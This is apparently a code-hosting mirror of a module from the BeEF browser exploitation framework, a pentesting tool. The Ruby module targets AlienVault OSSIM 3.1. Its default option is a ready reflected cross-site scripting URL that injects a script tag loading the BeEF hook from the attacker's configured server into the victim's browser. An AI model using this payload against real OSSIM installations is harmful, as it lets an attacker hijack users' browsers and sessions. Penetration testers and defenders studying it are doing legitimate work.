Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Alienvault_ossim_3_1_xss < BeEF::Core::Command
7
def self.options
8
configuration = BeEF::Core::Configuration.instance
9
proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'
10
hook_file = configuration.get('beef.http.hook_file')
11
hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}"
12
13
[
14
{ 'name' => 'uri', 'ui_label' => 'Target URL', 'value' => "http://target/ossim/top.php?option=3&soption=3&url=<script src=#{hook_uri}></script>" }
15
]
16
end
17
18
def post_execute
19
save({ 'result' => @datastore['result'] })
20
end
21
end
22
23